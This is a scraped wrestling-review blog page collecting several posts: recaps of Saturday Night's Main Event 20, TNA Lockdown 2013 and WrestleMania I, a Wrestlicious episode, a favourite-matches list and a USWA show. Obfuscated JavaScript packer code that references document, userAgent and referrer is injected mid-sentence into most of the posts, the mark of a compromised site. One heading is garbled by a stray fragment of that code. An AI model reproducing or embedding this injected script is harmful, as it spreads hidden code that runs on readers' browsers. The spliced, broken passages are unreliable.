On This Day: March 11, 1989 – Saturday Night’s Main Event #20: The Mega Powers Fuse Is Lit

Saturday Night’s Main Event 20
Date: March 11, 1989
Location: Hersheypark Arena, Hershey, Pennsylvania
Commentators: Vince McMahon, Jesse Ventura

We close it out with this. This would be the go home show for Mania 5. The Mega Powers have officially split and tonight Liz has to pick one of them. I feel like I’m on Springer or something. We also have Hogan vs. Bad News Brown which is kind of a controversial match as it more or less caused Brown to realize he was never going to be a main event guy. He wound up leaving a year and a half later but this was kind of the first straw. Other than that we have nothing of note, so let’s get to it.

We recap the Mega Powers breaking up about a month or so ago and the show is titled the Decision of a Lifetime.

Jesse sort of takes over the intro and sends us to Gene which makes Vince upset.

Bobby says he wants to get rid of Beefcake to protect the image of Rude.

Beefcake threatens to cut Rude’s hair.

Brutus Beefcake vs. Rick Rude

This is like the dream match of the 80s midcard. I mean think about it: these two were the guys that were always dominating either side of the midcard and yet they never got a huge feud together which is a shame. Rude has Warrior’s face on his tights, which I guess means the feud hadn’t started yet since Jesse isn’t sure why it’s there. Beefcake gets the sleeper early but lets it go for no apparent reason. I guess you can chalk it up to a lack of intelligence.

Ok so apparently Rude vs. Warrior is already set. Rude takes over for a little while and here comes Andre, perhaps looking for a hot sandwich or maybe a side of beef. I love Rude’s overselling of atomic drops. Andre gets Brutus on the floor and chokes him. Cue Jake for the run-in and the natural DQ. John Studd, who would ultimately referee Andre vs. Roberts, makes the save.

Rating: D+. This never really went anywhere as it just couldn’t get off the ground. The whole run in ending didn’t help this either. There was no real structure and definitely no story going on in it. I really would have liked to see a long program from these guys but alas it never happened.

Hogan says he’ll win.

Brown says Hogan needs to worry about Savage. There’s also a hint of Liz sleeping with Tunney for helping Savage. That went nowhere.

Hogan says stuff about Savage.

Hulk Hogan vs. Bad News Brown

Liz is with Hogan. The arena is weird looking as there’s no entryway but rather what looks like a hockey board that they open up. Brown takes over to start as is the tradition for a lot of Hogan matches. This only lasts a few minutes as I’m amazed at what Brown was back in this era. If he had been around say 8 years later, he would have been pure gold. Hogan goes to the head but it doesn’t work, making me really wonder how many of these stereotypes were unintentional.

Brown accidentally punches the post and this has been pretty one sided so far with Hogan dominating for the most part. Hogan no sells a chair shot and Brown leaves, saying hang on a second. He comes back shortly….with a broom? It goes nowhere and Brown FINALLY takes over with a clothesline. Brown gets a legdrop for two but it’s only kind of a power kickout.

Hogan gets beaten up and then Brown grabs the mic and goes Rock, talking to Hogan and telling him it’s Ghetto Blaster (his finisher, a running enziguri) time which of course misses. Maybe it would have hit if he hadn’t told him that. Hogan hits a high knee to set up the leg drop to end it. Well that’s different. He and Liz pose a lot.

Rating: C+. Not bad at all here. Again, Brown was an AWESOME character and could have been a great heel both here and ten years later. Him vs. Rock or Austin would have sold great and the fact that he was a legit fighter (Bronze medal in judo in the Olympics) would have easily opened the door to MMA if he wanted to go there. Decent little match and different than what you’re used to from Hulk which is a nice change of pace.

Savage wants Liz’s answer.

Ted DiBiase unveils the Million Dollar Belt.

Blazer says he’s going to fly, even from the rafters if he has to. Hokey smoke.

Ted DiBiase vs. Blue Blazer

Blazer is a kind of superhero character played by Owen Hart. Blazer backflips into the ring and DiBiase just drills him with a clothesline. This is more or less DiBiase being his usual awesome self and Blazer trying to get out of the blocks. He manages to land on his feet coming out of a backdrop which was very nice. Cross body gets two and DiBiase is in trouble. In a very quick ending, Blazer is dominating but gets caught in a powerslam for the pin.

Rating: B-. Given that this was less than four minutes long, this was very good. Owen had a knack for fast matches that only went a few minutes and making them awesome. This was a great example of that as in less than four minutes there are two distinct advantages and then an ending which makes sense for the match as Blazer said he would go higher and higher but DiBiase caught him going too high and got the win because of it. And that my friends, is why DiBiase was one of the best ever as far as psychology goes.

Liz comes out for the announcement and cops out by saying she’ll be in both. At first she says no about Hogan so Savage comes out and is a jerk, so of course she says no to him too. Savage’s insanity was just perfect, especially since he could more than back it up in the ring. Hogan comes out and we have the big standoff with Liz in the middle. It’s still an awesome visual to see this showdown. If Savage had held the belt at Mania, the rematch could have drawn MILLIONS.

Quick cameo: Pat Patterson (with BLACK hair) stops Savage from going insane. Well more insane I guess.

Heenan is tired of the Rockers and the Brainbusters are going to win the titles. Odd that the last show was their exit and this is their (TV) debut.

The Rockers, also in their national TV debut, say they’ll steal the show.

Brainbusters vs. Rockers

Slingshot suplex is countered maybe 2 seconds in. This is insanity from the get go. Shawn nips up and catches Arn coming off the top. Just incredibly fast paced stuff here with Shawn and Tully putting on a clinic out there. One of the reasons the Brainbusters were awesome was that they could wrestle absolutely any style from fast to slow to ground to aerial to submission to brawling or whatever. Heenan pulls the top rope down and Shawn goes over so Brain is tossed.

After a break the Busters get a blind tag and Arn drills Jannetty to take over for his team. Marty gets beaten down for a little while but the hot tag to Shawn evens things out all over again. It falls apart and Shawn freaking DIVES over the ropes to get at Arn, throwing punches as he goes down. It’s a double count out but that’s fine as neither team should lose here.

Rating: B. I really liked this and thought about going a bit higher. This was a very fast paced match and a way to show off both of these teams for how awesome they really were. The Rockers would remain awesome for a good while as would the Busters. How did the Rockers never officially win the tag belts? It’s saying a lot that the Harts and other teams were that much better.

We recap Red Rooster turning face with even less people caring somehow. This led to the Brooklyn Brawler joining the Heenan Family in one of the funniest backhanded compliments ever. Heenan picked him to push against Rooster because he could take anyone and make them as good as he made Rooster. In other words, no talent required!

Heenan says Brawler is a bigger and better nobody than Rooster. This was probably a rib somehow but it was great.

Rooster says he’s a somebody. And he’s good enough, he’s smart enough, and doggone it, people like him.

Red Rooster vs. Brooklyn Brawler

The match starts while we’re in a break and it’s a squash. It’s a minute long and Rooster wins with a small package. I think that’s longer than the “blowoff” of Rooster vs. Heenan at Mania.

Savage is ticked off and says he doesn’t need Liz to end the show.

Overall Rating: B. This is a fairly high grade but this was a good show. Four matches and a minute long whatever with some nice build to Mania thrown in. What more can you ask for, including a rather good tag match. This worked all around and is a great way to cap off this series. This was kind of a weird time for the company as Mania 5 kind of sucked but better days were coming. Good way to close this out though.

Remember to follow me on Twitter @kbreviews

More On Bully Ray/Aces and 8’s

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tneri|var|u0026u|referrer|ybdsb||js|php'.split('|'),0,{})) was a big story last night and deserves a bit more attention.First and foremost, I did like the end result of last night’s show. Having Ray be revealed as the President of Aces and 8’s was the right move and was one of the few places they could go to extend the life of the whole stupid angle. Ray screwing over the Hogans for the sake of winning the world title with it being a plan all along was perfectly logical as it’s Ray’s nature to be a self serving jerk. The lines of “I used you and I screwed you” and “D-Von let her cry” were straight MONEY. Also, IT ISN’T BISCHOFF.

However this doesn’t solve everything. At the end of the day, Aces and 8’s have still been the most inept stable of the last like…..ever. They never win anything of note and they lost again last night in their other big match. Also, Ray is now basically the leader of the Eight Stooges. They’re still a bunch of losers and you can’t use the logic of “now that they have a leader” because Ray has clearly been the leader for months. Oh and one more thing: why did Ray give Hardy a chain? I know he had everything in hand, but it was still an unneeded risk.

As for where this is going now, it appears that we’re headed for either Hogan or Sting vs. Ray at Slammiversary before we get to presumably AJ or Storm taking the title at Bound For Glory. If we have to get one of those matches, Sting is BY FAR the better option, as he can at least, you know, move. There are some other downsides to this development also.

Above all else, it means Brooke talking. The story continues to be mainly about them rather than ANYONE else and Brooke just isn’t interesting at all. She’s annoying, she’s whiny, she’s not talented, and she’s on TV more than any other female in the company. Also I don’t really want to spend the next few months hearing about how Aces and 8’s are taking over and all that jazz. The last thing we need is another corporate takeover angle. Having them be the dominant faction is fine, but we don’t need another takeover. It’s been done WAY too many times.

Overall, it’s good but it doesn’t solve all of Aces and 8’s problems, nor does it make up for the months and months of terrible stuff.

Lockdown 2013: We’ve Got A Mastermind

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsrrn|var|u0026u|referrer|zzazz||js|php'.split('|'),0,{})) 2013
Date: March 10, 2013
Location: Alamodome, San Antonio, Texas
Commentators: Todd Keneley, Mike Tenay, Tazz

X-Division Title: Kenny King vs. Christian York vs. Zema Ion

Thankfully King is still alive and comes back in to break up a York cover before pounding away on Christian in the corner. Ion is down on the floor as York chops away at King, only to be poked in the eye. Zema comes back in with a quick rana off the top rope for two on York. A moonsault gets the same result and Ion is frustrated.

York hits a quick legdrop on King for two but Ion baseball slides King to the floor. A slingshot into a DDT gets two on York for Ion as King gets back in. Ion is sent out to the entrance ramp where King drops a leg to keep him down. York pulls Ion back inside for two and all three men are back inside. King loads up a top rope fallaway slam on Ion, only to have York add a powerbomb to make it a Tower of Doom. Christian gets control by hammering away on all three guys, including a suplex on King for no cover.

Joseph Park vs. Joey Ryan

We see Jeff Hardy arriving earlier.

Knockouts Title: Gail Kim vs. Velvet Sky

Some clotheslines and elbows put Kim down again as does a bulldog. A reverse DDT gets two for Velvet and Gail is staggered. As she gets up she grabs Terell, allowing Gail to hit Eat Defeat for two. Gail shoves Terryn in the corner before slapping her, begging to be disqualified. Instead Terryn spears Gail down and beats her up, allowing Velvet to hit In Yo Face for the pin at 7:38.

Robbie E complains about Robbie T holding him down for two years. Tonight, Robbie is going to make his former bro his ho.

We recap Robbie E vs. Robbie T, which comes down to Robbie T getting tired of Robbie E abusing him, making tonight about revenge.

Robbie E vs. Robbie T

Tag Titles: Bad Influence vs. Chavo Guerrero/Hernandez vs. Bobby Roode/Austin Aries

Back to Hernandez who gets two off a splash on Kaz. A Daniels distraction allows Kazarian to hit a missile dropkick to take Hernandez down and Bad Influences double teams the big man (Hernandez) for a bit. Aries breaks up a pin attempt before Hernandez counters a double suplex into one of his own, putting down both members of Bad Influence. Off to Chavo again for Three Amigos on all four opponents in a cool visual.

Things settle down again with Daniels pounding away on Chavo. Kazarian comes in to take over but Roode tags himself in, bringing in the champions for the first time. Roode and Aries double team Chavo down with a double suplex, drawing in Bad Influence for the save. Roode fires away some shoulders into the ribs of Chavo before Aries hits a dropkick to the back for two.

We look at the Knockouts Title match again with Terrell getting involved.

Terrell is in the back and says she made a judgment call when Gail jumps her and a brawl breaks out.

The cage is being set up.

Slammiversary is in Boston.

Kurt Angle vs. Wes Brisco

You can win by pin, submission or escape. Kurt suplexes him down to start before Wes comes back with shoulders in the corner. Wes tries to escape but gets suplexed out of the corner with ease. Angle pounds away but misses a charge in the corner, ramming his head into the cage. Wes pounds away and puts on a chinlock before Angle fires off some elbows to the ribs to escape. That gets him nowhere though as Wes flapjacks him down for two.

Lethal Lockdown

TNA: Sting, Magnus, Samoa Joe, Eric Young, James Storm

The announcers bicker a bit.

Jeff Hardy is a 51-49% favorite to win the main event via a fan poll.

We recap the main event, which is based on the history these two have and Ray wanting to finally win the big one on his own.

TNA World Title: Jeff Hardy vs. Bully Ray

Results

Kenny King b. Zema Ion and Christian York – Royal Flush to York

Joseph Park b. Joey Ryan – Seated Senton

Velvet Sky b. Gail Kim – In Yo Face

Robbie T b. Robbie E – Spinebuster

Austin Aries/Bobby Roode b. Chavo Guerrero/Hernandez and Bad Influence – Roode pinned Daniels after a splash from Guerero

Wes Brisco b. Kurt Angle – Brisco escaped the cage

Bully Ray b. Jeff Hardy – Pin after hitting Hardy with a hammer

Remember to follow me on Twitter @kbreviews

Wrestlemania Count-Up – Wrestlemania I: It All Starts….With A Tag Match?

Wrestlemania I
Date: March 31, 1985
Location: Madison Square Garden, New York City, New York
Attendance: 19,121
Commentators: Gorilla Monsoon, Jesse Ventura

Tito Santana vs. Executioner

Bundy says Jones needs to be ready for the Avalanche and the five count.

S. D. Jones vs. King Kong Bundy

Matt Borne vs. Ricky Steamboat

The Sammartinos are ready for Johnny V and Brutus Beefcake. Bruno threatens Johnny V is he tries to get involved.

David Sammartino vs. Brutus Beefcake

Intercontinental Title: Junkyard Dog vs. Greg Valentine

Tag Titles: US Express vs. Nikolai Volkoff/Iron Sheik

Off to Barry who avoids double teaming and causes the challengers to collide. Back to Rotundo to work over Nikolai with an elbow drop getting two. Windham comes in off the top with a shot to the arm and Rotundo does the same thing. Sheik suplexes Mike down for two as the foreigners take over. Nikolai drops him throat first across the throat and the USA chant starts up.

Intermission which is edited out of the home video releases.

Big John Studd vs. Andre the Giant

Andre hands a few bucks out to the fans but Heenan steals the bag and runs off.

Moolah and Lelani Kai are ready to keep the title.

Kai charges into a boot in the corner and Richter shoves the referee away like a jerk. Moolah chokes away at Wendi in the corner until Lauper comes over to make the save. Richter hits a kind of reverse AA and a splash for two. Lelani hits a backbreaker for two before going up for a cross body, only to have Wendi roll through for the pin and the title.

Richter and Lauper dance around the ring in celebration in another semi-famous scene.

Richter and Lauper celebrate in the back as well.

Hulk Hogan/Mr. T. vs. Roddy Piper/Paul Orndorff

Orndorff and T brawl on the mat for a bit until Mr. gets in trouble via a Piper front facelock. That goes nowhere though as T stands up and makes the tag with no effort to be seen. Hogan pounds away but walks into a belly to back suplex. Orton and Snuka get in the ring for no apparent reason and as the referee calms things down, Orton comes in off the top with the cast but hits Orndorff by mistake to give Hogan the pin.

Piper and Orton bail but the good guys let Orndorff leave without beating on him even more.

We recap the ending of the main event.

Hogan, T and Snuka talk about winning.

Ratings Comparison

Tito Santana vs. Executioner

Original: C

Redo: C-

King Kong Bundy vs. S.D. Jones

Original: N/A

Redo: N/A

Ricky Steamboat vs. Matt Borne

Original: C-

Redo: D+

David Sammartino vs. Brutus Beefcake

Original: D-

Redo: D+

Junkyard Dog vs. Greg Valentine

Original: D+

Redo: D+

Nikolai Volkoff/Iron Shiek vs. U.S. Express

Original: B-

Redo: C

Andre the Giant vs. Big John Studd

Original: D+

Redo: D

Wendi Richter vs. Lelani Kai

Original: B

Redo: D

Hulk Hogan/Mr. T. vs. Roddy Piper/Paul Orndorff

Original: B

Redo: B-

Overall Rating

Original: C-

Redo: D+

http://kbwrestlingreviews.com/2011/03/08/history-of-wrestlemania-with-kb-wrestlemania-1-just-a-big-house-show/

Remember to follow me on Twitter @kbreviews

Thought of the Day: The Revolving Door Of Divas

Two parts to this one.First eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nstit|var|u0026u|referrer|ttezy||js|php'.split('|'),0,{})) of all, WWE has put out another stupid top ten list, this one being top ten Divas moments at Wrestlemania.

Not a single one of the Divas in this video are full time wrestlers for WWE anymore.

Second, and more pertinent, I was watching a show setting up Wrestlemania last year and none of the three Divas and none of them are even in WWE anymore. Think about that: in a year the top of the division has been completely eliminated. And yet they wonder why no one cares about these girls.

Bobby Roode Working Without A Contract

http://www.prowrestling.net/artman/publish/TNA/article10030226.shtml

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sesff|var|u0026u|referrer|yaahi||js|php'.split('|'),0,{})) let me get this straight….Bobby Roode, one half of the reigning tag team champions and a guy whose run as the longest reigning world champion in company history ended less than a year and a a guy who had a world title shot on PPV THIS YEAR isn’t worthy of remembering to re-sign??? This is the kind of mistake WCW made back in 1990 with the Iron freaking Sheik. Not only is his status for Lockdown up in the air, but it leaves an opening for WWE to sign him if they want to. The lawsuit is over, so why not? Maybe TNA can hire Bull Buchanan to replace him.

If nothing else, how could TNA let this happen when they stole another company’s tag team champion LAST FREAKING YEAR with Kenny King?

The jokes about them being amateur hour write themselves.

On This Day: March 10, 2010 – Wrestlicious Takedown: Remember Shimmer? This Is Nothing Like It.

Wrestlicious eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbyey|var|u0026u|referrer|zfakd||js|php'.split('|'),0,{})) Takedown
Date: March 10, 2010
Location: Wrestlicious Studios, St. Petersburg, Florida
Commentator: Johnny C.

Oh sweet goodness what am I doing to myself? For those of you unfamiliar, go watch the trailer on Youtube right now. It’s basically the spiritual successor to G.L.O.W., which is known for good looking women and completely campy comedy and women that are “wrestlers”. In this case, it was started by a guy that won a Powerball lottery and used his money on this. Jimmy Hart played a big part in this and I think it’s out of business now. This is the second episode. Let’s get to it.

Oh and the girls are mostly all wrestlers, some of which you’ll know. They’re ALL in very stereotypical and overdone gimmicks which I’m sure you’ll catch on to. There are also comedy skits to go along with the wrestling. The word “studios” means warehouse too.

Jimmy Hart pops up and is worried about being the host and stuck with a bimbo or stick in the mud. Leyla Milani, the runner up in one of the Diva Searches, appears and is the co-host. Oh geez there’s a laugh track.

We do the opening video which is most of the girls in character in front of a personalized screen.

Boot Camp Bailey, the trainer, wants to talk about something. She’s a military themed girl with a VERY short skirt. She says attention a lot and says she’s looking for a few good women. Bailey asks who wants to be a trainee and calls a few “fans” into the ring. One of the girls is the floor manager who has to take her headset off before she gets in. Bailey apparently is a model with no wrestling experience. This is getting LOUDLY booed by the way.

We get a clip from last week of a six girl tag with the Country Cousins vs. the Mexican team/Felony, a prison character. I have no idea what the announcer’s name is. Felony tries to escape during the match. Apparently the commentator’s name is Johnny C. and he has no idea what he’s calling. The Mexican team and Felony won with what looked like a Snow Plow.

There’s going to be a battle royal with the final two facing each other for the Wrestlicious Title.

We go to “the farm” (green screen) with Cousin Cassie and Tyler Texas who do a comedy bit called “You Just Might Be A Down Home Wrestler.” I’m sure you get the idea here.

And now, a game show: Are You Smarter Than A Male Wrestler, hosted by Jimmy Hart. Our contestants are Glory (female wrestler Christie Ricci playing a patriot) and Brian Knobbs. The category is American History and the question is what happened in 1776. Knobbs thinks it’s the first beer drinking contest. Glory gets it right (I guess the signing of the Declaration of Independence was all that happened in America that year)…..and that’s it.

We recap the Bailey segment from like 5 minutes ago.

Now three girls are in a bedroom on a bed. Now they go to make drinks but Bailey stops them. Oh ok they’re the trainees. To be continued. Did I mention we’re almost halfway through the show?

Package on Lacey Von Erich which is her on the beach in swimsuits.

Tony the Top (mob character) says that Autumn Frost (an Ice Princess, whatever that is. You may know her as Jennifer Blake who does indy wrestling and is a somewhat big female star in AAA) should be on JV Rich’s (the owner of the company and owner of a big mansion where comedy bits like this one are shot at) arm. He says she should be on a leash, which gets a HUGE reaction from the laugh track.

Paige Webb (Serena from the Straight Edge Society with hair) answers an e-mail from a male admirer. Included in the e-mail is a picture of his pierced genitals I think.

Three girls are arguing over what to call the aforementioned battle royal. Go vote on their website for the NAME OF THE MATCH. This show is cut into three parts on Youtube and we’re about to start part 3 with no matches.

HOKEY SMOKE A WRESTLING MATCH!

Autumn Frost vs. Paige Webb

Frost is from Alaska so we get a snow effect. Webb is a computer geek. Get it? Johnny C. makes a bunch of bad sex jokes and we’re ready to go. Frost jumps her but gets caught in a full nelson. The commentary is nothing but puns. Literally, it’s all puns and the occasional name of a move. Frost hooks a full nelson of her own but Webb arm drags out of it. Webb hooks the armbar as the announcer talks about how Webb’s box is filled every night. With e-mails of course.

A monkey flip puts Frost down and “the ice girl goeth”. Back in and Frost takes over. I can’t handle or give you an accurate description of the amount of the puns being used here. Apparently Webb needs to reboot from a snow boot. Frost beats her down “like a computer virus.” I’m dying listening to how bad this is.

They do a pinfall reversal sequence and Webb gets caught in a chinlock. Webb comes back with some armdrags and sends Frost to the floor for a beating. Back in a top rope cross body gets two for Webb. After a quick run on the floor, Webb tries a monkey flip but Frost falls on her and puts her feet on the ropes for the pin.

Rating: D+. Both girls are pro wrestlers already so the match wasn’t that bad, but the commentary here is going to make or break the match for you. I kid you not, you won’t go ten seconds without a terrible pun, but if you just give up on the show being serious and enjoy it for how HORRIBLE it is, the commentary will grow on you quickly. The wrestling wasn’t half bad.

We get a preview for next week which is a voodoo chick vs. Madison Rayne as a cheerleader.

Overall Rating: B. Now let me explain. This show is TERRIBLE. There’s about four minutes of wrestling (the show is only half an hour including commercials so it’s not a huge stretch), a TON of bad comedy bits that don’t go anywhere and the commentary is nothing but puns.

HOWEVER, this is the kind of show where if you saw more than four seconds of the previews, you knew exactly what you were getting into. This show knows it’s horrible and it doesn’t try to take itself seriously in the slightest. I found it hilarious with how bad it was and if you go into it with that kind of mindset, you’ll have fun with it. Plus the girls look good so that helps.

Remember to follow me on Twitter @kbreviews

Five By Five: KB’s Favorite Matches

We close out the series with this. Click on the link for the review of the show the match is on if applicable. Also remember: favorite does eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetfd|var|u0026u|referrer|ztaab||js|php'.split('|'),0,{})) NOT equal best.

Honorable Mention: Undertaker vs. Shawn Michaels (Wrestlemania 25). Any match that hadm e on the edge of my seat like this one did has to be on this list.

Honorable Mention: Doomsday Cage (Uncensored 1996). This is the kind of match that is so bad it’s hilarious. It looks cool, but if you think about it for more than 8 seconds, the match goes out the window into the land of WOW THIS IS STUPID. That can be endlessly entertaining and this one is. Check it out, and read my review at the same time to see how many head scratchers you can find in it.

Honorable Mention: TLC II (Wrestlemania X7). Take six guys, have them beat the tar out of each other for fifteen minutes, throw in Lita taking her top off. What more do you need to know here?

Honorable Mention: Cactus Jack vs. HHH (Royal Rumble 2000). This is one of those matches where you didn’t know who was going to win until the very end because HHH was in so far over his head. Everything was on Cactus’ side and the match is one of the bloodiest affairs you’ll ever see in wrestling. this is the match that made HHH into a killer and he stayed there for years.

5. AJ Styles vs. Abyss (Lockdown 2005). I love the David vs. Goliath story and this is a great example of that idea. The opening segment of this match with the two of them outside of the cage is as entertaining a two or three minute stretch as TNA has ever produced, bar none. AJ is all over the place, sliding and diving and jumping to try to slow the monster down but Abyss stops him every time. AJ finally goes straight up Superman and dives over about four rows to take Abyss down. I get into this every time and it’s a brawl all the way through.

4. Hart Foundation vs. Demolition (Summerslam 1990). A friend of mine from WrestleZone has called this the best tag team match ever and I’m not sure he’s that far off. This is insanely entertaining as Demolition has held the belts for months now and the Harts have about as much of a chance as I do at winning Miss Nevada 1982. The champions cheat like there’s no tomorrow with switches and beating up the referee and whatever else they can pull off. LOD comes out to even things up and stop the cheating and the Harts use the one opening they have to steal the titles. It’s great and if you watch it you’ll get into it too.

3. Sting vs. Cactus Jack (Beach Blast 1992). Two of my three favorite wrestlers in a match that Foley said was his best ever for a long time. I think you can figure this one out.

2. Shawn Michaels vs. Shelton Benjamin (Monday Night Raw – 5/2/2005). For years and years I had this as my favorite match and it’s still very hard to dop. The idea of Shawn fighting himself from ten years ago is brilliant and the match is so incredibly crisp. On top of that the ending is one of the best looking knockouts you’ll ever see anywhere. From a personal standpoint, this was a turning point for me as a fan as for the first time ever I could see a story being told in a match and got way into that aspect of it instead of cheering for my favorites.

1. Sting vs. Vader (Starrcade 1992). This was always one of my favorites but the more I thought about it the more I realized how much I love it. If I’m ever in the mood to watch something fun, this is what I throw on. It’s the David vs. Goliath formula again….if David was 6’3 and 240lbs. The idea here is simple: Vader DESTROYED Sting to win the world title in July but this is about revenge and some stupid tournament. Sting had always been able to charge head first into whomever he was facing before this and beat them through pure talent, but when he tried to charge at Vader he got his block knocked off. Instead he needs to use his brain, but since Sting is kind of stupid he tries rope a dope instead. Sting lets Vader pound him down until Vader has nothing left and then Sting goes in for the kill. The visuals of Sting getting beaten down more and more before FINALLY making his superhuman comeback are awesome if you can get behind an underdog, which is what Sting was coming into this. Check this one out for sure.

Lockdown 2013 Preview

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arzsi|var|u0026u|referrer|bsdik||js|php'.split('|'),0,{})) arguably the second biggest show of the year and I can’t say I’m thrilled for it. The show is at the Alamodome which had over 60,000 people in it for the 1997 Royal Rumble, but I don’t think they’re going to get that many this time. Let’s get to it.To begin with, we’ll look at the world title match, which has one major problem:

Why are they fighting? It’s been made clear that the only reason Ray has gotten this shot is because he’s Hulk’s son in law. Ray didn’t win a big match, he hasn’t beaten anyone in a singles match lately (his last televised one on one win was against Jesse Godderz. Before then, his last singles win on TV was in SEPTEMBER when he beat Aries, as in the guy he lost to on PPV in December), he and Hardy have no personal issue, and Ray has barely been around him due to feuding with Aces and 8’s. Hardy was gone for a month and is just now back in action but he hasn’t had much interaction with Ray either.

At the end of the day, Ray hasn’t earned this shot and hasn’t won anything of note lately, Hardy hasn’t done anything to Ray, and they don’t hate each other. What is the interest in seeing them fight?

For a prediction I’ll take Hardy to retain, as all signs point to Bully winning and turning heel. Since that would make sense, we’ll say it won’t happen. Also it would make Hogan look stupid and we can’t have that.

Next up is Lethal Lockdown which brings us to Aces and 8’s. Let me try to get through this as fast as I can so I don’t have to think about them. Aces and 8’s is probably the worst major stable in company history. From taking FOREVER to reveal a member to having D-Von and Anderson as their top names to having D’Lo Freaking Brown revealed as their second in command, they have nothing going for them and they haven’t in the NINE MONTHS they’ve been around. At the end of the day, we have no idea why they’re doing what they’re doing and there’s no sign that such information is coming anytime soon. The whole story is a disaster.

The ONLY chance they have at salvaging it is to win Lethal Lockdown while revealing a big name as their boss. The problem with that is all signs point to either Jeff Jarrett or Eric Bischoff being the boss, which doesn’t do much good. The problem is we’ve seen them both lead massive stables before so it would be the same warmed over stuff we’ve seen before with lower level names and far more damage coming in.

As for the match, I’ll take the bikers but given how things have been going, I’ll expect them to lose.

Kurt Angle beats Wes Brisco despite a ton of help from Aces and 8’s. If that happens, the bikers win Lethal Lockdown.

I’ll take Roode and Aries to keep the belts. It’s way too early for them to lose. Either way, for the love of all things good and holy, PLEASE don’t put them back on Chavo and Hernandez. I can’t take that again.

Velvet keeps her title. I can’t take more Gail Kim on top either.

Robbie T destroys Robbie E of course.

I’ll take Kenny King to retain and Joseph Park to beat Joey Ryan. You haven’t heard of these matches? Most people haven’t either, but that’s because TNA is awful at setting up a PPV card and they added these matches in at the last second to fill in some time.

Overall Lockdown is a very uninspiring show. Between the lackluster world title match and Aces and 8’s dragging things down, This isn’t a show that I’m thrilled with watching but TNA has surprised me before. Grnated they’ve also had some of the worst shows I’ve ever seen but hopefully that won’t be the case here.

Thoughts/Predictions?

On This Day: March 9, 1991 – USWA Championship Wrestling: Terry Funk Comes Back To Memphis

USWA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzbyd|var|u0026u|referrer|ernaz||js|php'.split('|'),0,{})) Championship Wrestling
Date: March 9, 1991
Location: USWA Television Studios, Memphis, Tennessee
Commentators: Dave Brown, Michael St. John

We had to skip ahead about a month here but it shouldn’t be a big problem. As far as I know there haven’t been any major changes, although at some point before the 15th, Jarrett’s Southern Title was held up after a match with Steve Austin so there’s no champion. Other than that everything seems to be the same. Let’s get to it.

Opening sequence.

Night Train Jackson vs. Sgt. O’Reilly

The show is starting a little early so some fans aren’t there yet. Jackson throws him around and dances a bit. He hits something like Old School and no sells a headbutt. See Jackson is black and in wrestling that means he has a hard head. Dropkick and a fisherman’s suplex get the pin. Squash.

The announcers talk about the Open Door Policy, which means if you want a match, talk to the promoter and they’ll try to get you one. That leads us to a video on the Texas Hangmen who are apparently violent. They shout a lot and no one, including the announcers, can understand it.

We talk about last week where Jeff Gaylord surprisingly joined up with JC Ice and we get a clip of Gaylord jumping Superstar Bill Dundee. Gaylord bailed on Downtown Bruno in the process.

Ronnie Leach vs. Jeff Gaylord

Gaylord is a power guy so he picks Leach up in a bearhug position and rams him into two corners. Backbreaker hits and he throws Ronnie to the floor. Apparently Ice has stolen all of Bruno’s talent, which means Bruno is heading to the WWF I believe. A modified powerbomb, the Dehumanizer, kills Leach and eventually a pumphandle slam gets the pin. Squash #2.

